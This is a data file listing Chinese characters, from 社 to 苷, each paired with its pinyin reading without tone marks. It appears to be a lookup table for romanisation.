社 she 礿 yue 祀 si 祁 qi 祂 ta 祃 ma 祄 xie 祅 yao 祆 xian 祇 qi 祈 qi 祉 zhi 祊 beng 祋 dui 祌 zhong 祍 ren 祎 yi 祏 shi 祐 you 祑 zhi 祒 tiao 祓 fu 祔 fu 祕 mi 祖 zu 祗 zhi 祘 suan 祙 mei 祚 zuo 祛 qu 祜 hu 祝 zhou,zhu 神 shen 祟 sui 祠 ci 祡 chai 祢 mi 祣 l 祤 yu 祥 xiang 祦 wu 祧 tiao 票 piao 祩 zhu 祪 gui 祫 xia 祬 zhi 祭 ji,zhai 祮 gao 祯 zhen 祰 gao 祱 shui 祲 jin 祳 shen 祴 gai 祵 kun 祶 di 祷 dao 祸 huo 祹 tao 祺 qi 祻 gu 祼 guan 祽 zui 祾 ling 祿 lu 禀 bing 禁 jin 禂 dao 禃 zhi 禄 lu 禅 chan,shan 禆 bi 禇 chu 禈 hui 禉 you 禊 xi 禋 yin 禌 zi 禍 huo 禎 zhen 福 fu 禐 yuan 禑 xu 禒 xian 禔 zhi 禕 yi 禖 mei 禗 si 禘 di 禙 bei 禚 zhuo 禛 zhen 禜 ying 禝 ji 禞 gao 禟 tang 禠 si 禡 ma 禢 ta 禣 禤 xuan 禥 qi 禦 yu 禧 xi 禨 ji 禩 si 禪 shan 禫 dan 禬 gui 禭 sui 禮 li 禯 nong 禰 mi 禱 dao 禲 li 禳 rang 禴 yue 禵 ti 禶 zan 禷 lei 禸 rou 禹 yu 禺 yu 离 li 禼 xie 禽 qin 禾 he 禿 tu 秀 xiu 私 si 秂 ren 秃 tu 秄 zi 秅 cha 秆 gan 秇 yi 秈 xian 秉 bing 秊 nian 秋 qiu 秌 qiu 种 zhong,chong 秎 fen 秏 hao 秐 yun 科 ke 秒 miao 秓 zhi 秔 jing 秕 bi 秖 zhi 秗 yu 秘 mi,bi 秙 ku 秚 ban 秛 pi 秜 ni 秝 li 秞 you 租 zu 秠 pi 秡 bo 秢 ling 秣 mo 秤 cheng 秥 nian 秦 qin 秧 yang 秨 zuo 秩 zhi 秪 di 秫 shu 秬 ju 秭 zi 秮 huo 积 ji 称 chen,cheng 秱 tong 秲 shi 秳 huo 秴 huo 秵 yin 秶 zi 秷 zhi 秸 jie 秹 ren 秺 du 移 yi 秼 zhu 秽 hui 秾 nong 秿 fu 稀 xi 稁 gao 稂 lang 稃 fu 稄 xun 稅 shui 稆 l 稇 kun 稈 gan 稉 jing 稊 ti 程 cheng 稌 tu 稍 shao 税 shui 稏 ya 稐 lun 稑 lu 稒 gu 稓 zuo 稔 ren 稕 zhun 稖 bang 稗 bai 稘 ji 稙 zhi 稚 zhi 稛 kun 稜 leng 稞 ke 稟 bing 稠 chou 稡 zui 稢 yu 稣 su 稤 lue 稥 稦 yi 稧 xi 稨 bian 稩 ji 稪 fu 稫 pi 稬 nuo 稭 jie 種 zhong 稯 zong 稰 xu 稱 cheng 稲 dao 稳 wen 稴 xian 稵 zi 稶 yu 稷 ji 稸 xu 稹 zhen 稺 zhi 稻 dao 稼 jia 稽 ji,qi 稾 gao 稿 gao 穀 gu 穁 rong 穂 sui 穃 穄 ji 穅 kang 穆 mu 穇 can 穈 men 穉 zhi 穊 ji 穋 lu 穌 su 積 ji 穎 ying 穏 wen 穐 qiu 穑 se 穒 穓 yi 穔 huang 穕 qie 穖 ji 穗 sui 穘 xiao 穙 pu 穚 jiao 穛 zhuo 穜 tong 穝 zuo 穞 lu 穟 sui 穠 nong 穡 se 穢 hui 穣 rang 穤 nuo 穥 yu 穦 pin 穧 ji 穨 tui 穩 wen 穪 cheng 穫 huo 穬 kuang 穭 l 穮 biao 穯 se 穰 rang 穱 zhuo 穲 li 穳 cuan 穴 xue 穵 wa 究 jiu 穷 qiong 穸 xi 穹 qiong 空 kong 穻 yu 穼 shen 穽 jing 穾 yao 穿 chuan 窀 zhun 突 tu 窂 lao 窃 qie 窄 zhai 窅 yao 窆 bian 窇 bao 窈 yao 窉 bing 窊 wa 窋 zhu 窌 jiao 窍 qiao 窎 diao 窏 wu 窐 wa 窑 yao 窒 zhi 窓 chuang 窔 yao 窕 tiao 窖 jiao 窗 chuang 窘 jiong 窙 xiao 窚 cheng 窛 kou 窜 cuan 窝 wo 窞 dan 窟 ku 窠 ke 窡 zhuo 窢 huo 窤 guan 窥 kui 窦 dou 窧 窨 xun,yin 窩 wo 窪 wa 窫 ya 窬 yu 窭 ju 窮 qiong 窯 yao 窰 yao 窱 tiao 窲 chao 窳 yu 窴 tian 窵 diao 窶 ju 窷 liao 窸 xi 窹 wu 窺 kui 窻 chuang 窼 chao 窽 kuan 窾 kuan 窿 long 竀 cheng 竁 cui 竂 liao 竃 zao 竄 cuan 竅 qiao 竆 qiong 竇 dou 竈 zao 竉 long 竊 qie 立 li 竌 chu 竍 竎 fu 竏 竐 chu 竑 hong 竒 qi 竓 竔 竕 竖 shu 竗 miao 竘 qu 站 zhan 竚 zhu 竛 ling 竜 long 竝 bing 竞 jing 竟 jing 章 zhang 竡 竢 si 竣 jun 竤 hong 童 tong 竦 song 竧 jing 竨 diao 竩 yi 竪 shu 竫 jing 竬 qu 竭 jie 竮 ping 端 duan 竰 竱 zhuan 竲 ceng 竳 deng 竴 cun 竵 wai 競 jing 竷 kan 竸 jing 竹 zhu 竺 zhu 竻 le 竼 peng 竽 yu 竾 chi 竿 gan 笀 mang 笁 zhu 笂 笃 du 笄 ji 笅 jiao 笆 ba 笇 suan 笈 ji 笉 qin 笊 zhao 笋 sun 笌 ya 笍 zhui 笎 yuan 笏 hu 笐 hang 笑 xiao 笒 cen 笓 bi 笔 bi 笕 jian 笖 yi 笗 dong 笘 shan 笙 sheng 笚 da 笛 di 笜 zhu 笝 na 笞 chi 笟 gu 笠 li 笡 qie 笢 min 笣 bao 笤 tiao 笥 si 符 fu 笧 ce 笨 ben 笩 fa 笪 da 笫 zi 第 di 笭 ling 笮 ze,zuo 笰 fu 笱 gou 笲 fan 笳 jia 笴 gan 笵 fan 笶 shi 笷 mao 笸 po 笹 ti 笺 jian 笻 qiong 笼 long 笽 笾 bian 笿 luo 筀 gui 筁 qu 筂 chi 筃 yin 筄 yao 筅 xian 筆 bi 筇 qiong 筈 kuo 等 deng 筊 jiao 筋 jin 筌 quan 筍 sun 筎 ru 筏 fa 筐 kuang 筑 zhu 筒 tong 筓 ji 答 da 筕 hang 策 ce 筗 zhong 筘 kou 筙 lai 筚 bi 筛 shai 筜 dang 筝 zheng 筞 ce 筟 fu 筠 jun,yun 筡 tu 筢 pa 筣 li 筤 lang 筥 ju 筦 guan 筧 jian 筨 han 筩 tong 筪 xia 筫 zhi 筬 cheng 筭 suan 筮 shi 筯 zhu 筰 zuo 筱 xiao 筲 shao 筳 ting 筴 ce,jia 筵 yan 筶 gao 筷 kuai 筸 gan 筹 chou 筺 kuang 筻 gang 筼 yun 筽 签 qian 筿 xiao 简 jian 箁 pou 箂 lai 箃 zou 箄 bi,pai 箅 bi 箆 bi 箇 ge 箈 tai 箉 guai 箊 yu 箋 jian 箌 zhao 箍 gu 箎 chi 箏 zheng 箐 qing 箑 sha 箒 zhou 箓 lu 箔 bo 箕 ji 箖 lin 算 suan 箘 jun 箙 fu 箚 zha 箛 gu 箜 kong 箝 qian 箞 quan 箟 jun 箠 chui 管 guan 箢 yuan 箣 ce 箤 zu 箥 po 箦 ze 箧 qie 箨 tuo 箩 luo 箪 dan 箫 xiao 箬 ruo 箭 jian 箮 xuan 箯 bian 箰 sun 箱 xiang 箲 xian 箳 ping 箴 zhen 箵 xing 箶 hu 箷 shi 箸 zhu 箹 yue 箺 chun 箻 l 箼 wu 箽 dong 箾 shuo 箿 ji 節 jie 篁 huang 篂 xing 篃 mei 範 fan 篆 zhuan 篇 pian 篈 feng 築 zhu 篊 hong 篋 qie 篌 hou 篍 qiu 篎 miao 篏 qian 篐 gu 篑 kui 篒 yi 篓 lou 篔 yun 篕 he 篖 tang 篗 yue 篘 chou 篙 gao 篚 fei 篛 ruo 篜 zheng 篝 gou 篞 nie 篟 qian 篠 xiao 篡 cuan 篢 long 篣 peng 篤 du 篥 li 篦 bi 篧 zhuo 篨 chu 篩 shai 篪 chi 篫 zhu 篬 qiang 篭 long 篮 lan 篯 jian 篰 bu 篱 li 篲 hui 篳 bi 篴 zhu 篵 cong 篶 yan 篷 peng 篸 can,zan 篹 zuan,zhuan 篺 pi 篻 piao 篼 dou 篽 yu 篾 mie 篿 tuan 簀 ze 簁 shai 簂 guo 簃 yi 簄 hu 簅 chan 簆 kou 簇 cu 簈 ping 簉 zao 簊 ji 簋 gui 簌 su 簍 lou 簎 ce 簏 lu 簐 nian 簑 suo 簒 cuan 簓 簔 suo 簕 le 簖 duan 簗 zhu 簘 xiao 簙 bo 簚 mi 簛 shai 簜 dang 簝 liao 簞 dan 簟 dian 簠 fu 簡 jian 簢 min 簣 kui 簤 dai 簥 jiao 簦 deng 簧 huang 簨 sun 簩 lao 簪 zan 簫 xiao 簬 lu 簭 shi 簮 zan 簯 簰 pai 簱 簲 pai 簲 pai 簳 gan 簴 ju 簵 lu 簶 lu 簷 yan 簸 bo 簹 dang 簺 sai 簻 zhua 簼 gou 簽 qian 簾 lian 簿 bu 籀 zhou 籁 lai 籂 籄 kui 籅 yu 籆 yue 籇 hao 籈 zhen 籉 tai 籊 ti 籋 nie 籌 chou 籍 ji 籎 yi 籏 籐 teng 籑 zhuan 籒 zhou 籓 fan 籔 sou 籕 zhou 籖 qian 籗 zhuo 籘 teng 籙 lu 籚 lu 籛 jian 籜 tuo 籝 ying 籞 yu 籟 lai 籠 long 籡 籢 lian 籣 lan 籤 qian 籥 yue 籦 zhong 籧 ju,qu 籨 lian 籩 bian 籪 duan 籫 zuan 籬 li 籭 shai 籮 luo 籯 ying 籰 yue 籱 zhuo 籲 yu 米 mi 籴 di 籵 fan 籶 shen 籷 zhe 籸 shen 籹 n 籺 he 类 lei 籼 xian 籽 zi 籾 ni 籿 粀 粁 粂 粃 bi 粄 ban 粅 wu 粆 sha 粇 kang 粈 rou 粉 fen 粊 bi 粋 cui 粌 粍 粎 粏 ta 粐 粑 ba 粒 li 粓 gan 粔 ju 粕 po 粖 yu 粗 cu 粘 nian,zhan 粙 zhou 粚 chi 粛 su 粜 tiao 粝 li 粞 xi 粟 su 粠 hong 粡 tong 粢 zi 粣 ce 粤 yue 粥 yu,zhou 粦 lin 粧 zhuang 粨 粩 粪 fen 粫 粬 qu 粭 粮 liang 粯 xian 粰 fu 粱 liang 粲 can 粳 jing 粴 粵 yue 粶 lu 粷 ju 粸 qi 粹 sui,cui 粺 bai 粻 zhang 粼 lin 粽 zong 精 jing 糀 糁 san,shen 糂 shen 糃 tang 糄 bian 糅 rou 糆 mian 糇 hou 糈 xu 糉 zong 糊 hu 糋 jian 糌 zan 糍 ci 糎 糏 xie 糐 fu 糑 nuo 糒 bei 糓 gu 糔 xiu 糕 gao 糖 tang 糗 qiu 糘 糙 cao 糚 zhuang 糛 tang 糜 mei,mi 糝 san 糞 fen 糟 zao 糠 kang 糡 jiang 糢 mo 糣 san 糤 san 糥 nuo 糦 xi 糧 liang 糨 jiang 糩 kuai 糪 bo 糫 huan 糬 糭 zong 糮 xian 糯 nuo 糰 tuan 糱 nie 糲 li 糳 zuo 糴 di 糵 nie 糶 tiao 糷 lan 糸 mi 糹 si 糺 jiu 系 xi,ji 糼 gong 糽 zheng 糾 jiu 糿 gong 紀 ji 紁 cha 紂 zhou 紃 xun 約 yue 紅 hong 紆 yu 紇 he 紈 wan 紉 ren 紊 wen 紋 wen 紌 qiu 納 na 紎 zi 紏 tou 紐 niu 紑 fou 紒 ji 紓 shu 純 chun 紕 pi 紖 zhen 紗 sha 紘 hong 紙 zhi 級 ji 紛 fen 紜 yun 紝 ren 紞 dan 紟 jin 素 su 紡 fang 索 suo 紣 cui 紤 jiu 紥 zha 紦 ha 紧 jin 紨 fu 紩 zhi 紪 qi 紫 zi 紬 chou 紭 hong 紮 zha 累 lei 細 xi 紱 fu 紲 xie 紳 shen 紴 bo 紵 zhu 紶 qu 紸 zhu 紹 shao 紺 gan 紻 yang 紼 fu 紽 tuo 紾 zhen 紿 dai 絀 chu 絁 shi 終 zhong 絃 xian 組 zu 絅 jiong 絆 ban 絇 qu 絈 mo 絉 shu 絊 zui 絋 kuang 経 jing 絍 ren 絎 hang 絏 xie 結 jie 絑 zhu 絒 chou 絓 gua 絔 bai 絕 jue 絖 kuang 絗 hu 絘 ci 絙 huan 絚 geng 絛 tao 絜 xie,jie 絝 ku 絞 jiao 絟 quan 絠 gai 絡 luo 絢 xuan 絣 beng 絤 xian 絥 fu 給 gei 絧 tong 絨 rong 絩 tiao 絪 yin 絫 lei 絬 xie 絭 juan 絮 xu 絯 gai 絰 die 統 tong 絲 si 絳 jiang 絴 xiang 絵 hui 絶 jue 絷 zhi 絸 jian 絹 juan 絺 chi 絻 wen 絼 zhen 絽 l 絾 cheng 絿 qiu 綀 shu 綁 bang 綂 tong 綃 xiao 綄 huan 綅 qin 綆 geng 綇 xu 綈 ti 綉 xiu 綊 xie 綋 hong 綌 xi 綍 fu 綎 ting 綏 sui 綐 dui 綑 kun 綒 fu 經 jing 綔 hu 綕 zhi 綖 yan 綗 jiong 綘 feng 続 xu 綛 綜 zong 綝 chen 綞 duo 綟 li 綠 l 綡 jing 綢 chou 綣 quan 綤 shao 綥 qi 綦 qi 綧 zhun 綨 ji 綩 wan 綪 qian 綫 xian 綬 shou 維 wei 綮 qi,qing 綯 tao 綰 wan 綱 gang 網 wang 綳 beng 綴 zhui 綵 cai 綶 guo 綷 cui 綸 lun 綹 liu 綺 qi 綻 zhan 綼 bi 綽 chuo 綾 ling 綿 mian 緀 qi 緁 ji 緂 tian 緃 zong 緄 gun 緅 zou 緆 xi 緇 zi 緈 xing 緉 liang 緊 jin 緋 fei 緌 rui 緍 min 緎 yu 総 zong 緐 fan 緑 l 緒 xu 緓 ying 緔 shang 緕 zi 緖 xu 緗 xiang 緘 jian 緙 ke 線 xian 緛 ruan 緜 mian 緝 ji 緞 duan 緟 chong 締 di 緡 min 緢 miao 緣 yuan 緤 xie 緥 bao 緦 si 緧 qiu 編 bian 緩 huan 緪 geng 緫 zong 緬 mian 緭 wei 緮 fu 緯 wei 緰 xu 緱 gou 緲 miao 緳 xie 練 lian 緵 zong 緶 bian 緷 gun 緸 yin 緹 ti 緺 gua 緼 wen 緽 cheng 緾 chan 緿 dai 縀 xie 縁 yuan 縂 zong 縃 xu 縄 sheng 縅 縆 geng 縇 縈 ying 縉 jin 縊 yi 縋 zhui 縌 ni 縍 bang 縎 gu 縏 pan 縐 zhou 縑 jian 縒 ci 縓 quan 縔 shuang 縕 yun 縖 xia 縗 cui 縘 xi 縙 rong 縚 tao 縛 fu 縜 yun 縝 zhen 縞 gao 縟 ru 縠 hu 縡 zai 縢 teng 縣 xian 縤 su 縥 zhen 縦 zong 縧 tao 縨 縩 cai 縪 bi 縫 feng 縬 cu 縭 li 縮 suo 縯 yan 縰 xi 縱 zong 縲 lei 縳 zhuan 縴 qian 縵 man 縶 zhi 縷 l 縸 mu 縹 piao 縺 lian 縻 mi 縼 xuan 總 zong 績 ji 縿 shan 繀 sui 繁 fan,po 繂 l 繃 beng 繄 yi 繅 sao 繆 mou 繇 zhou,you,yao 繈 qiang 繉 sheng 繊 xian 繋 ji 繌 zong 繍 xiu 繎 ran 繏 xuan 繐 sui 繑 qiao 繒 zeng 繓 zuo 織 zhi 繕 shan 繖 san 繗 lin 繘 ju 繙 fan 繚 liao 繛 chuo 繜 zun 繝 jian 繟 chan 繠 rui 繡 xiu 繢 hui 繣 hua 繤 zuan 繥 xi 繦 qiang 繧 wen 繨 繩 sheng 繪 hui 繫 xi 繬 se 繭 jian 繮 jiang 繯 huan 繰 qiao 繱 cong 繲 xie 繳 jiao 繴 bi 繵 dan 繶 yi 繷 nong 繸 sui 繹 yi 繺 sha 繻 xu 繼 ji 繽 bin 繾 qian 繿 lan 纀 pu 纁 xun 纂 zuan 纃 zi 纄 peng 纅 yao 纆 mo 纇 lei 纈 xie 纉 zuan 纊 kuang 纋 you 續 xu 纍 lei 纎 xian 纏 chan 纐 纑 lu 纒 chan 纓 ying 纔 cai 纕 xiang 纖 xian 纗 zui 纘 zuan 纙 luo 纚 li 纛 dao 纜 lan 纝 lei 纞 lian 纟 si 纠 jiu 纡 yu 红 hong,gong 纣 zhou 纤 qian,xian 纥 ge,he 约 yao,yue 级 ji 纨 wan 纩 kuang 纪 ji 纫 ren 纬 wei 纭 yun 纮 hong 纯 chun 纰 pi 纱 sha 纲 gang 纳 na 纴 ren 纵 zong 纶 guan,lun 纷 fen 纸 zhi 纹 wen 纺 fang 纻 zhu 纼 zhen 纽 niu 纾 shu 线 xian 绀 gan 绁 xie 绂 fu 练 lian 组 zu 绅 shen 细 xi 织 zhi 终 zhong 绉 zhou 绊 ban 绋 fu 绌 chu 绍 shao 绎 yi 经 jing 绐 dai 绑 bang 绒 rong 结 jie 绔 ku 绕 rao 绖 die 绗 hang 绘 hui 给 gei,ji 绚 xuan 绛 jiang 络 lao,luo 绝 jue 绞 jiao 统 tong 绠 bing,geng 绡 xiao 绢 juan 绣 xiu 绤 xi 绥 sui 绦 tao 继 ji 绨 ti 绩 ji 绪 xu 绫 ling 绬 ying 续 xu 绮 qi 绯 fei 绰 chao,chuo 绱 shang 绲 gun 绳 sheng 维 wei 绵 mian 绶 shou 绷 beng 绸 chou 绹 tao 绺 liu 绻 quan 综 zeng,zong 绽 zhan 绾 wan 绿 lu,l 缀 zhui 缁 zi 缂 ke 缃 xiang 缄 jian 缅 mian 缆 lan 缇 ti 缈 miao 缉 qi,ji 缊 yun 缋 hui 缌 si 缍 duo 缎 duan 缏 bian,pian 缐 xian 缑 gou 缒 zhui 缓 huan 缔 di 缕 l 编 bian 缗 min 缘 yuan 缙 jin 缚 fu 缛 ru 缜 zhen 缝 feng 缞 cui 缟 gao 缠 chan 缡 li 缢 yi 缣 jian 缤 bin 缥 piao 缦 man 缧 lei 缨 ying 缩 su,suo 缪 mou,miu,miao 缫 sao 缬 xie 缭 liao 缮 shan 缯 zeng 缰 jiang 缱 qian 缲 qiao 缳 huan 缴 jiao,zhuo 缵 zuan 缶 fou 缷 xie 缸 gang 缹 fou 缺 que 缻 fou 缼 que 缽 bo 缾 ping 缿 xiang 罀 罁 gang 罂 ying 罃 ying 罄 qing 罅 xia 罆 guan 罇 zun 罈 tan 罉 cheng 罊 qi 罋 weng 罌 ying 罍 lei 罎 tan 罏 lu 罐 guan 网 wang 罒 wang 罓 wang 罔 wang 罕 han 罗 luo 罘 fu 罙 shen 罚 fa 罛 gu 罜 zhu 罝 ju 罞 mao 罟 gu 罠 min 罡 gang 罢 ba 罣 gua 罤 ti 罥 juan 罦 fu 罧 shen 罨 yan 罩 zhao 罪 zui 罫 guai 罬 zhuo 罭 yu 置 zhi 罯 an 罰 fa 罱 lan 署 shu 罳 si 罴 pi 罵 ma 罶 liu 罷 ba 罸 fa 罹 li 罺 chao 罻 wei 罼 bi 罽 ji 罾 zeng 罿 chong 羀 liu 羁 ji 羂 juan 羃 mi 羄 zhao 羅 luo 羆 pi 羇 ji 羈 ji 羉 luan 羊 yang 羋 mi 羌 qiang 羍 da 美 mei 羏 yang 羐 ling 羑 you 羒 fen 羓 ba 羔 gao 羕 yang 羖 gu 羗 qiang 羘 zang 羙 mei,gao 羚 ling 羛 yi 羜 zhu 羝 di 羞 xiu 羟 qiang 羠 yi 羡 xian 羢 rong 羣 qun 群 qun 羥 qiang 羦 huan 羧 suo 羨 xian 義 yi 羪 you 羫 qiang 羬 qian,xian 羭 yu 羮 geng 羯 jie 羰 tang 羱 yuan 羲 xi 羳 fan 羴 shan 羵 fen 羶 shan 羷 lian 羸 lei 羹 geng 羺 nou 羻 qiang 羼 chan 羽 yu 羾 hong 羿 yi 翀 chong 翁 weng 翂 fen 翃 hong 翄 chi 翅 chi 翆 cui 翇 fu 翈 xia 翉 ben 翊 yi 翋 la 翌 yi 翍 pi 翎 ling 翏 liu 翐 zhi 翑 qu 習 xi 翓 xie 翔 xiang 翕 xi 翖 xi 翗 ke 翘 qiao 翙 hui 翚 hui 翛 xiao 翜 sha 翝 hong 翞 jiang 翟 di,zhai 翠 cui 翡 fei 翢 dao 翣 sha 翥 zhu 翦 jian 翧 xuan 翨 chi 翩 pian 翪 zong 翫 wan 翬 hui 翭 hou 翮 he 翯 he 翰 han 翱 ao 翲 piao 翳 yi 翴 lian 翵 hou 翶 ao 翷 lin 翸 pen 翹 qiao 翺 ao 翻 fan 翼 yi 翽 hui 翾 xuan 翿 dao 耀 yao 老 lao 耂 lao 考 kao 耄 mao 者 zhe 耆 qi 耇 gou 耈 gou 耉 gou 耊 die 耋 die 而 er 耍 shua 耎 ruan 耏 er 耐 nai 耑 duan 耒 lei 耓 ting 耔 zi 耕 geng 耖 chao 耗 hao 耘 yun 耙 ba,pa 耚 pi 耛 si 耜 si 耝 qu 耞 jia 耟 ju 耠 huo 耡 chu 耢 lao 耣 lun 耤 ji 耥 tang 耦 ou 耧 lou 耨 nou 耩 jiang 耪 pang 耫 zha 耬 lou 耭 ji 耮 lao 耯 huo 耰 you 耱 mo 耲 huai 耳 er 耴 yi 耵 ding 耶 ye 耷 da 耸 song 耹 qin 耺 yun 耻 chi 耼 dan 耽 dan 耾 hong 耿 geng 聀 zhi 聁 聂 nie 聃 dan 聄 zhen 聅 che 聆 ling 聇 zheng 聈 you 聉 wa 聊 liao 聋 long 职 zhi 聍 ning 聎 tiao 聏 er 聐 ya 聑 tie 聒 guo 聓 xu 联 lian 聕 hao 聖 sheng 聗 lie 聘 pin 聙 jing 聚 ju 聛 bi 聜 di 聝 guo 聞 wen 聟 xu 聠 ping 聡 cong 聢 聣 ni 聤 ting 聥 ju 聦 cong 聧 kui 聨 lian 聩 kui 聪 cong 聫 lian 聬 weng 聭 kui 聮 lian 聯 lian 聰 cong 聱 ao 聲 sheng 聳 song 聴 ting 聵 kui 聶 nie 職 zhi 聸 dan 聹 ning 聺 qie 聻 ni 聼 ting 聽 ting 聿 yu 肀 yu 肁 zhao 肂 si 肃 su 肄 yi 肅 su 肆 si 肇 zhao 肈 zhao 肉 rou 肊 yi 肋 le,lei 肌 ji 肍 qiu 肎 ken 肏 cao 肐 ge 肑 bo 肒 huan 肓 huang 肔 chi 肕 ren 肖 xiao 肗 ru 肘 zhou 肙 yuan 肚 du 肛 gang 肜 rong 肝 gan 肞 chai 肟 wo 肠 chang 股 gu 肢 zhi 肣 qin 肤 fu 肥 fei 肦 ban 肧 pei 肨 pang 肩 jian 肪 fang 肫 zhun 肬 you 肭 na 肮 ang,hang 肯 ken 肰 ran 肱 gong 育 yo,yu 肳 wen 肴 yao 肵 qi 肶 pi 肷 qian 肸 xi 肹 xi 肺 fei 肻 ken 肼 jing 肽 tai 肾 shen 肿 zhong 胀 zhang 胁 xie 胂 shen 胃 wei 胄 zhou 胅 die 胆 dan 胇 fei 胈 ba 胉 bo 胊 qu 胋 tian 背 bei 胍 gua 胎 tai 胏 zi 胐 fei 胑 zhi 胒 ni 胓 ping 胔 zi 胕 fu 胖 pan,pang 胗 zhen 胘 xian 胙 zuo 胚 pei 胛 jia 胜 sheng 胝 zhi 胞 bao 胟 mu 胠 qu 胡 hu 胢 qia 胣 chi 胤 yin 胥 xu 胦 yang 胧 long 胨 dong 胩 ka 胪 lu 胫 jing 胬 nu 胭 yan 胮 pang 胯 kua 胰 yi 胱 guang 胲 hai 胳 ge 胴 dong 胵 chi 胶 jiao 胷 xiong 胸 xiong 胹 er 胺 an,e 胻 heng 胼 pian 能 neng 胾 zi 胿 gui 脀 zheng 脁 tiao 脂 zhi 脃 cui 脄 mei 脅 xie 脆 cui 脇 xie 脈 mai 脉 mai,mo 脊 ji 脋 xie 脌 脍 kuai 脎 sa 脏 zang 脐 qi 脑 nao 脒 mi 脓 nong 脔 luan 脕 wan 脖 bo 脗 wen 脘 wan 脙 xiu 脚 jiao,jue 脛 jing 脜 rou 脝 heng 脞 cuo 脟 luan 脠 shan 脡 ting 脢 mei 脣 chun 脤 shen 脥 jia 脦 脧 zui 脨 cu 脩 xiu 脪 xin 脫 tuo 脬 pao 脭 cheng 脮 nei 脯 fu,pu 脰 dou 脱 tuo 脲 niao 脳 nao 脴 pi 脵 脶 luo 脷 li 脸 lian 脹 zhang 脺 cui 脻 jie 脼 liang 脽 shui 脾 pi 脿 biao 腁 pian 腂 guo 腃 juan 腄 chui 腅 dan 腆 tian 腇 nei 腈 jing 腉 nai 腊 la,xi 腋 ye 腌 yan,a 腍 ren 腎 shen 腏 zhui 腐 fu 腑 fu 腒 ju 腓 fei 腔 qiang 腕 wan 腖 dong 腗 pi 腘 guo 腙 zong 腚 ding 腛 wo 腜 mei 腝 ruan 腞 zhuan 腟 chi 腠 cou 腡 luo 腢 ou 腣 di 腤 an 腥 xing 腦 nao 腧 shu 腨 shuan 腩 nan 腪 yun 腫 zhong 腬 rou 腭 e 腮 sai 腯 tu 腰 yao 腱 jian 腲 wei 腳 jiao 腴 yu 腵 jia 腶 duan 腷 bi 腸 chang 腹 fu 腺 xian 腻 ni 腼 mian 腽 wa 腾 teng 腿 tui 膀 bang,pang 膁 qian 膂 l 膃 wa 膄 shou 膅 tang 膆 su 膇 zhui 膈 ge 膉 yi 膊 bo 膋 liao 膌 ji 膍 pi 膎 xie 膏 gao 膐 l 膑 bin 膒 ou 膓 chang 膔 lu 膕 guo 膖 pang 膗 chuai 膘 biao 膙 jiang 膚 fu 膛 tang 膜 mo 膝 xi 膞 zhuan 膟 l 膠 jiao 膡 ying 膢 l 膣 zhi 膤 膥 cun 膦 lin 膧 tong 膨 peng 膩 ni 膪 chuai 膫 liao 膬 cui 膭 kui 膮 xiao 膯 teng 膰 fan 膱 zhi 膲 jiao 膳 shan 膴 hu 膵 cui 膶 run 膷 xiang 膸 sui 膹 fen 膺 ying 膻 shan 膼 zhua 膽 dan 膾 kuai 膿 nong 臀 tun 臁 lian 臂 bi 臃 yong 臄 jue 臅 chu 臆 yi 臇 juan 臈 la 臉 lian 臊 sao 臋 tun 臌 gu 臍 qi 臎 cui 臏 bin 臐 xun 臑 er,nao 臒 wo 臓 zang 臕 biao 臖 xing 臗 kuan 臘 la 臙 yan 臚 lu 臛 huo 臜 za 臝 luo 臞 qu 臟 zang 臠 luan 臡 ni 臢 za 臣 chen 臤 qian 臥 wo 臦 guang 臧 cang,zang 臨 lin 臩 guang 自 zi 臫 jiao 臬 nie 臭 chou,xiu 臮 ji 臯 gao 臰 chou 臱 mian 臲 nie 至 zhi 致 zhi 臵 ge 臶 jian 臷 die 臸 zhi 臹 xiu 臺 tai 臻 zhen 臼 jiu 臽 xian 臾 yu 臿 cha 舀 yao 舁 yu 舂 chong 舃 xi 舄 xi 舅 jiu 舆 yu 與 yu 興 xing 舉 ju 舊 jiu 舋 xin 舌 she 舍 she 舎 she 舏 jiu 舐 shi 舑 tan 舒 shu 舓 shi 舔 tian 舕 tan 舖 pu 舗 pu 舘 guan 舙 hua 舚 tian 舛 chuan 舜 shun 舝 xia 舞 wu 舟 zhou 舠 dao 舡 chuan 舢 shan 舣 yi 舤 fan 舥 pa 舦 tai 舧 fan 舨 ban 舩 chuan 航 hang 舫 fang 般 pan,bo,ban 舭 bi 舮 lu 舯 zhong 舰 jian 舱 cang 舲 ling 舳 zhou 舴 ze 舵 duo 舶 bo 舷 xian 舸 ge 船 chuan 舺 xia 舻 lu 舼 qiong 舽 pang 舾 xi 舿 艀 fu 艁 zao 艂 feng 艃 li 艄 shao 艅 yu 艆 lang 艇 ting 艈 艉 wei 艊 bo 艋 meng 艌 nian 艍 ju 艎 huang 艏 shou 艐 ke 艑 bian 艒 mu 艓 die 艔 dao 艕 bang 艖 cha 艗 yi 艘 sou 艙 cang 艚 cao 艛 lou 艜 dai 艝 艞 yao 艟 chong 艠 艡 dang 艢 qiang 艣 lu 艤 yi 艦 jian 艧 huo 艨 meng 艩 qi 艫 lu 艬 chan 艭 shuang 艮 gen 良 liang 艰 jian 艱 jian 色 se,shai 艴 fu 艵 ping 艶 yan 艷 yan 艸 cao 艹 ao 艺 yi 艻 le 艼 ding 艽 jiao 艾 ai,yi 艿 nai,reng 芀 tiao 芁 qiu 节 jie 芃 peng 芄 wan 芅 yi 芆 chai 芇 mian 芈 mi 芉 gan 芊 qian 芋 yu 芌 yu 芍 que,shao 芎 xiong 芏 du 芐 hu 芑 qi 芒 mang 芓 zi 芔 hui 芕 sui 芖 zhi 芗 xiang 芘 bi,pi 芙 fu 芚 tun 芛 wei 芜 wu 芝 zhi 芞 qi 芟 shan 芠 wen 芡 qian 芢 ren 芣 fu 芤 kou 芥 gai,jie 芦 lu 芧 zhu,xu 芨 ji 芩 qin 芪 qi 芫 yuan,yan 芬 fen 芭 ba 芮 rui 芯 xin 芰 ji 花 hua 芲 lun 芳 fang 芴 hu,wu 芵 jue 芶 gou 芷 zhi 芸 yun 芹 qin 芺 ao 芻 chu 芼 mao 芽 ya 芾 fei,fu 芿 reng 苀 hang 苁 cong 苂 chan 苃 you 苄 bian 苅 yi 苆 苇 wei 苈 li 苉 pi 苊 e 苋 xian 苌 chang 苍 cang 苎 zhu 苏 su 苐 di 苑 yuan 苒 ran 苓 ling 苔 tai 苕 tiao,shao 苖 di 苗 miao 苘 qing 苙 li 苚 yong 苛 ke 苜 mu 苝 bei 苞 bao 苟 gou 苠 min 苡 yi 苢 yi 苣 ju,qu 苤 pie 若 re,ruo 苦 ku,gu 苧 ning 苨 ni 苩 pa 苪 bing 苫 shan 苬 xiu 苭 yao 苮 xian 苯 ben 苰 hong 英 ying 苲 zha 苳 dong 苴 zu,ju 苵 die 苶 nie 苷 